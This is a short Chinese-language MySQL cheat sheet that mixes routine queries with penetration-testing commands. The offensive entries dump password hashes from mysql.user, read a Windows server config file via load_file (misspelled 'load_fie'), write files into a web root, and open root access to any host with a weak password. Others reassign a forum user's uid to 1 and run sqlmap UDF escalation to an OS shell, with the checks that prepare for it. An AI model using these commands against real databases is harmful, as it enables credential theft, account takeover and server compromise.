Mysql命令

  • Mysql基础命令
显示版本: select version();

显示字符集: select @@character_set_database;

显示数据库: show databases;

显示表名: show tables;

显示字段: show columns from table_name;

显示计算机名: select @@hostname;

系统版本: select @@version_compile_os;

mysql路径: select @@basedir;

数据库路径: select @@datadir;

describe describe table_name;

显示root密码: select User,Password from mysql.user;

导入文件: select load_fie(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C);

导出文件: select 'testtest' into outfile '/var/www/html/test.txt' from mysql.user;

开启外连: GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

mysql安装路径: show variables;   

更新数据库: UPDATE `DX15`.`dx15_common_member` SET `uid` = '1' WHERE `dx15_common_member`.`uid` =40407;更新40407uid变成uid1

mysql更改root密码: mysqladmin -u root password "newpwd";

查询表: select concat(User,0x3a,Password) from mysql.user; 

获取数据库所有表: SHOW TABLES FROM `databases`;

获取列前20行: SELECT * FROM `admin_bbs` ORDER BY 1 DESC LIMIT 0,20;

获取表行数: SELECT COUNT(*) AS CNT FROM `dede_admin`;
  • 更新mysql root密码
update user set authentication_string=PASSWORD('123456') where user='root';
flush privileges;
  • sqlmap mysql udf 提权
sqlmap -d "mysql://root:123456@192.168.3.184:3306/mysql" --os-shell --random-agent
  • 查看数据库及操作系统的架构
select @@version_compile_os, @@version_compile_machine;
show variables like '%compile%';
  • 查看secure_file_priv属性
show global variables like '%secure%';
show global variables like '%secure_file_priv%';
  • 查看plugin目录
select @@plugin_dir ;
show variables like 'plugin%';